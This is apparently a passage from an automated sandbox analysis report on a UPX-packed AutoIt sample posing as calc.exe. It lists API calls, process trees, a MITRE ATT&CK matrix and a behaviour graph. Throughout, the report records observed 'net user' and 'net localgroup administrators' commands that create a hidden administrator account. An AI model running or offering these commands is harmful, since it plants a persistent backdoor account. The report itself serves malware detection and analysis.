Source: C:\Users\user\Desktop\calc.exeSection loaded: windows.staterepositoryps.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: sspicli.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: wintypes.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: appresolver.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: bcp47langs.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: slc.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: sppc.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: onecorecommonproxystub.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samcli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: netutils.dll
Source: C:\Users\user\Desktop\calc.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32Jump to behavior
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00439814 CharLowerBuffW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,_strcat,GetCurrentProcess,TerminateProcess,VariantClear,FreeLibrary,0_2_00439814
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0044C070 push eax; ret 0_2_0044C084
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0044C070 push eax; ret 0_2_0044C0AC
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0044D7C3 push ecx; ret 0_2_0044D7D3
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0044C070 push eax; ret 7_2_0044C084
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0044C070 push eax; ret 7_2_0044C0AC
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0044D7C3 push ecx; ret 7_2_0044D7D3
Source: initial sampleStatic PE information: section name: UPX0
Source: initial sampleStatic PE information: section name: UPX1

Persistence and Installation Behavior

barindex
Adds a new user with administrator rights
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00412196 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_00412196
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00440FF0 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,0_2_00440FF0
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00412196 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,7_2_00412196
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00440FF0 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,7_2_00440FF0
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-TimerJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-TimerJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-TimerJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-Timer
Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-Timer
Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-Timer
Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-Timer
Source: C:\Users\user\Desktop\calc.exeEvasive API call chain: GetSystemTimeAsFileTime,DecisionNodesgraph_0-50889
Source: C:\Users\user\Desktop\calc.exeAPI coverage: 4.7 %
Source: C:\Users\user\Desktop\calc.exeAPI coverage: 4.5 %
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00425639 FindFirstFileW,FindFirstFileW,SetCurrentDirectoryW,FindClose,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,0_2_00425639
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_004230D5 FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,0_2_004230D5
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0041510D FindFirstFileW,DeleteFileW,CopyFileW,lstrcmpiW,DeleteFileW,MoveFileW,FindNextFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,0_2_0041510D
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0042320D FindFirstFileW,FindClose,0_2_0042320D
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00426292 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00426292
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00425838 FindFirstFileW,FindNextFileW,FindClose,0_2_00425838
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00422C4D FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,0_2_00422C4D
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00414E16 GetFileAttributesW,FindFirstFileW,FindClose,0_2_00414E16
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00414FFA FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,0_2_00414FFA
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00425639 FindFirstFileW,FindFirstFileW,SetCurrentDirectoryW,FindClose,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,7_2_00425639
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_004230D5 FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,7_2_004230D5
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0041510D FindFirstFileW,DeleteFileW,CopyFileW,lstrcmpiW,DeleteFileW,MoveFileW,FindNextFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,7_2_0041510D
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0042320D FindFirstFileW,FindClose,7_2_0042320D
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00426292 FindFirstFileW,Sleep,FindNextFileW,FindClose,7_2_00426292
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00425838 FindFirstFileW,FindNextFileW,FindClose,7_2_00425838
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00422C4D FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,7_2_00422C4D
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00414E16 GetFileAttributesW,FindFirstFileW,FindClose,7_2_00414E16
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00414FFA FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,7_2_00414FFA
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0040EA76 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,FreeLibrary,0_2_0040EA76
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00439814 CharLowerBuffW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,_strcat,GetCurrentProcess,TerminateProcess,VariantClear,FreeLibrary,0_2_00439814
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0040109D GetCurrentDirectoryW,GetFullPathNameW,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,SetCurrentDirectoryW,0_2_0040109D
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00412196 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_00412196
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00415D53 mouse_event,0_2_00415D53
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" fhZL0KwyiV.jseJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe" Jump to behavior
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /addJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" IDsLsRQlEe.jseJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe" Jump to behavior
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /addJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" cNs6XgJUw5.jseJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe" Jump to behavior
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" rbLiDVEIXX.jse
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe"
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" iy4J2BVXGi.jse
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe"
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" G0MZ6GMwly.jse
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe"
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" fevGSHOMU4.jse
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\wscript.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\net.exeProcess created: unknown unknown
Source: calc.exeBinary or memory string: Shell_TrayWnd
Source: calc.exe, 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, calc.exe, 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, calc.exe, 00000010.00000002.2189028448.0000000000401000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: \Software\AutoIt v3\AutoItIncludeSendInput0%doffondownupASC 0%d0E051007080900020409ASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTShell_TrayWndVirtualFreeExVirtualAllocEx
Source: C:\Users\user\Desktop\calc.exeCode function: GetLocaleInfoA,0_2_004558FF
Source: C:\Users\user\Desktop\calc.exeCode function: GetLocaleInfoA,7_2_004558FF
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00454555 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,0_2_00454555
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0043738E GetUserNameW,0_2_0043738E
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_004527E8 __lock,_strlen,_strcat,_strncpy,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,_strncpy,0_2_004527E8
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0040EA76 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,FreeLibrary,0_2_0040EA76
Source: C:\Windows\SysWOW64\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0042F3BC socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,0_2_0042F3BC
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0042F9C7 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,0_2_0042F9C7
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00430B6B OleInitialize,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,0_2_00430B6B
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0042F3BC socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,7_2_0042F3BC
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0042F9C7 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,7_2_0042F9C7
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00430B6B OleInitialize,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,7_2_00430B6B

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information1
Scripting		Valid Accounts2
Command and Scripting Interpreter		1
Create Account		1
Exploitation for Privilege Escalation		1
Masquerading		21
Input Capture		2
System Time Discovery		Remote Services21
Input Capture		1
Encrypted Channel		Exfiltration Over Other Network Medium1
System Shutdown/Reboot
CredentialsDomainsDefault Accounts2
Native API		1
Scripting		1
Access Token Manipulation		1
Access Token Manipulation		LSASS Memory1
Process Discovery		Remote Desktop Protocol1
Archive Collected Data		Junk DataExfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAt1
DLL Side-Loading		12
Process Injection		12
Process Injection		Security Account Manager1
Application Window Discovery		SMB/Windows Admin Shares3
Clipboard Data		SteganographyAutomated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook1
DLL Side-Loading		1
Deobfuscate/Decode Files or Information		NTDS1
Account Discovery		Distributed Component Object ModelInput CaptureProtocol ImpersonationTraffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script21
Obfuscated Files or Information		LSA Secrets1
System Owner/User Discovery		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts11
Software Packing		Cached Domain Credentials2
File and Directory Discovery		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
DLL Side-Loading		DCSync16
System Information Discovery		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1523635 Sample: calc.exe Startdate: 01/10/2024 Architecture: WINDOWS Score: 64 130 Machine Learning detection for sample 2->130 132 Sigma detected: Suspicious Calculator Usage 2->132 134 Sigma detected: Suspicious Process Parents 2->134 136 Sigma detected: Rare Remote Thread Creation By Uncommon Source Image 2->136 13 calc.exe 2 1 2->13         started        process3 signatures4 142 Adds a new user with administrator rights 13->142 16 wscript.exe 1 1 13->16         started        19 calc.exe 13->19         started        21 net.exe 13->21         started        23 net.exe 13->23         started        process5 signatures6 124 Windows Scripting host queries suspicious COM object (likely to drop second stage) 16->124 126 Adds a new user with administrator rights 16->126 25 calc.exe 1 16->25         started        27 net.exe 1 16->27         started        29 net.exe 1 16->29         started        31 wscript.exe 19->31         started        34 conhost.exe 21->34         started        36 net1.exe 21->36         started        38 conhost.exe 23->38         started        40 net1.exe 23->40         started        process7 signatures8 42 wscript.exe 1 25->42         started        45 conhost.exe 27->45         started        47 net1.exe 1 27->47         started        49 conhost.exe 29->49         started        51 net1.exe 1 29->51         started        146 Adds a new user with administrator rights 31->146 53 calc.exe 31->53         started        55 net.exe 31->55         started        57 net.exe 31->57         started        process9 signatures10 138 Adds a new user with administrator rights 42->138 59 calc.exe 1 42->59         started        61 net.exe 1 42->61         started        63 net.exe 1 42->63         started        65 wscript.exe 53->65         started        68 conhost.exe 55->68         started        70 net1.exe 55->70         started        72 conhost.exe 57->72         started        74 net1.exe 57->74         started        process11 signatures12 76 wscript.exe 1 59->76         started        79 conhost.exe 61->79         started        81 net1.exe 1 61->81         started        83 conhost.exe 63->83         started        85 net1.exe 1 63->85         started        128 Adds a new user with administrator rights 65->128 87 calc.exe 65->87         started        89 net.exe 65->89         started        91 net.exe 65->91         started        process13 signatures14 140 Adds a new user with administrator rights 76->140 93 calc.exe 76->93         started        95 net.exe 76->95         started        97 net.exe 76->97         started        99 wscript.exe 87->99         started        101 conhost.exe 89->101         started        103 net1.exe 89->103         started        105 conhost.exe 91->105         started        107 net1.exe 91->107         started        process15 process16 109 wscript.exe 93->109         started        112 conhost.exe 95->112         started        114 net1.exe 95->114         started        116 conhost.exe 97->116         started        118 net1.exe 97->118         started        120 net.exe 99->120         started        signatures17 144 Adds a new user with administrator rights 109->144 122 conhost.exe 120->122         started        process18

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

